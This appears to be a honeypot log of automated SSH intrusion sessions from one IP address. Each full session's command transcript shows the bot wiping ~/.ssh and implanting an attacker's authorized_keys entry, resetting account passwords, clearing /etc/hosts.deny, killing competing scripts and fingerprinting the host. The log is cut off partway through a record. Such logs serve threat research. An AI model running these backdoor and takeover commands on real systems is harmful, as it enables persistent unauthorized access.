{"id":"57c97805-7534-4b14-b1d7-46f7c0a8c358","name":"deft-plush-seal","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":53642,"username":"ts","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":565,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:42:38.067078+00:00","ended_at":"2026-08-27T02:42:39.177391+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2239,"events":[{"seq":1,"at":"2026-08-27T02:42:09.049592+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:42:09.615929+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:42:18.821376+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:42:19.624054+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:42:20.190107+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nRiiVTKUAgjNb\\nRiiVTKUAgjNb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:42:20.751399+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nRiiVTKUAgjNb\\nRiiVTKUAgjNb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T02:42:21.311404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:42:21.737863+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:42:22.297786+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:42:23.671584+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:42:24.237525+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:42:25.507481+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:42:26.074850+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:42:26.933470+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:42:27.515695+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:42:28.211086+00:00","kind":"output","latency_ms":null,"data":" 02:42:28 up 6 days, 23:32, 0 user, load average: 0.23, 0.16, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:42:28.774752+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:42:29.618394+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:42:30.185619+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:42:30.715666+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:42:31.275794+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:42:32.031767+00:00","kind":"output","latency_ms":null,"data":"top - 02:42:32 up 6 days, 23:32, 0 user, load average: 0.23, 0.16, 0.23\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:42:32.594178+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:42:33.112540+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:42:33.675704+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:42:34.202154+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:42:34.768282+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:42:35.632602+00:00","kind":"output","latency_ms":null,"data":"ts"},{"seq":29,"at":"2026-08-27T02:42:36.195493+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:42:37.502481+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:42:38.067801+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:42:39.001094+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ts","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"a68d04a6-cace-4613-be36-8c3013d3a2ae","name":"idle-tranquil-tanager","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":41018,"username":"ts","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:42:16.725121+00:00","ended_at":"2026-08-27T02:42:18.595507+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ts","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"23cbd5ce-9b86-49e8-a0e0-1d3d062abbd7","name":"vigilant-faded-parakeet","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":53648,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:42:13.730073+00:00","ended_at":"2026-08-27T02:42:15.598271+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7f5a4ba8-4925-4947-9c9d-397140e25ac5","name":"steady-gilded-civet","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":60868,"username":"zyx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":556,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:39:29.692683+00:00","ended_at":"2026-08-27T02:39:31.389472+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T02:39:05.582462+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:39:06.152387+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:39:16.156333+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:39:16.156815+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:39:16.714436+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zyx123\\nKoMut4DBlnRJ\\nKoMut4DBlnRJ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:39:17.286637+00:00","kind":"input","latency_ms":null,"data":"echo \"zyx123\\nKoMut4DBlnRJ\\nKoMut4DBlnRJ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T02:39:17.833426+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:39:17.833907+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:39:18.381415+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:39:18.927704+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:39:19.486215+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:39:20.197924+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:39:20.763965+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:39:20.764406+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:39:21.318147+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:39:21.318945+00:00","kind":"output","latency_ms":null,"data":" 02:39:21 up 6 days, 23:29, 0 user, load average: 0.17, 0.13, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:39:21.870137+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:39:21.870535+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:39:22.431351+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:39:22.444094+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:39:22.976428+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:39:23.833676+00:00","kind":"output","latency_ms":null,"data":"top - 02:39:23 up 6 days, 23:29, 0 user, load average: 0.17, 0.13, 0.14\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:39:24.393703+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:39:24.693443+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:39:25.258557+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:39:26.033163+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:39:26.590721+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:39:27.092187+00:00","kind":"output","latency_ms":null,"data":"zyx"},{"seq":29,"at":"2026-08-27T02:39:27.639281+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:39:29.147100+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:39:29.693387+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:39:31.218487+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"zyx","password":"zyx123","method":"password","accepted":true,"tier":"other"}]} {"id":"5076fdb8-d9ac-490c-972c-90628ebb1818","name":"solemn-curious-penguin","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":45150,"username":"zyx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:39:14.333663+00:00","ended_at":"2026-08-27T02:39:15.947069+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"zyx","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1d8b8ec0-c39f-425b-b2b2-ba9974bd6870","name":"drifting-blithe-swallow","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":60882,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:39:08.403705+00:00","ended_at":"2026-08-27T02:39:10.301064+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e95adf91-7feb-45ba-9937-2e0111842b51","name":"courtly-cosmic-tern","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":49170,"username":"ac","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":532,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:36:22.796549+00:00","ended_at":"2026-08-27T02:36:23.539081+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2239,"events":[{"seq":1,"at":"2026-08-27T02:36:05.825068+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:36:06.410127+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:36:12.919026+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:36:12.919533+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:36:13.454240+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ac\\nDsh31omDnoYj\\nDsh31omDnoYj\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:36:13.984312+00:00","kind":"input","latency_ms":null,"data":"echo \"ac\\nDsh31omDnoYj\\nDsh31omDnoYj\\n\"|passwd"},{"seq":7,"at":"2026-08-27T02:36:14.509654+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:36:14.510223+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:36:15.038234+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:36:15.625823+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:36:16.157616+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:36:16.712413+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:36:17.250419+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:36:17.250717+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:36:17.791088+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:36:17.791882+00:00","kind":"output","latency_ms":null,"data":" 02:36:17 up 6 days, 23:26, 0 user, load average: 0.33, 0.4, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:36:18.317075+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:36:18.317617+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:36:18.844846+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:36:18.845674+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:36:19.375401+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:36:19.376476+00:00","kind":"output","latency_ms":null,"data":"top - 02:36:19 up 6 days, 23:26, 0 user, load average: 0.33, 0.4, 0.27\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:36:19.908199+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:36:19.909539+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:36:20.447219+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:36:20.447850+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:36:20.985905+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:36:20.986713+00:00","kind":"output","latency_ms":null,"data":"ac"},{"seq":29,"at":"2026-08-27T02:36:21.516765+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:36:22.042212+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:36:22.797218+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:36:23.372254+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ac","password":"ac","method":"password","accepted":true,"tier":"other"}]} {"id":"3b285731-1d3b-4677-a797-1b65802ded31","name":"primal-rustic-greenfinch","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":49190,"username":"ac","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:36:11.999104+00:00","ended_at":"2026-08-27T02:36:12.752376+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ac","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3a2d93d4-1a79-49b7-a4a1-d5bdc5236fdb","name":"twilight-granite-manatee","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":49178,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:36:07.963961+00:00","ended_at":"2026-08-27T02:36:09.130264+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"644ae93a-a02a-41b5-8337-394ddc6f16f0","name":"russet-courtly-jackdaw","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":49912,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":547,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:33:20.602582+00:00","ended_at":"2026-08-27T02:33:21.281889+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:33:00.494335+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:33:01.290036+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:33:09.967416+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:33:09.968803+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:33:10.796912+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wzLBzI3Cqs2R\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:33:11.341464+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:33:11.897435+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:33:11.897740+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:33:12.446100+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:33:13.003407+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:33:13.571370+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:33:14.179158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:33:14.727204+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:33:14.727622+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:33:15.308708+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:33:15.310452+00:00","kind":"output","latency_ms":null,"data":" 02:33:15 up 6 days, 23:23, 0 user, load average: 0.33, 0.42, 0.36\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:33:15.881090+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:33:15.881808+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:33:16.455115+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:33:16.455592+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:33:16.995452+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:33:16.995861+00:00","kind":"output","latency_ms":null,"data":"top - 02:33:16 up 6 days, 23:23, 0 user, load average: 0.33, 0.42, 0.36\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 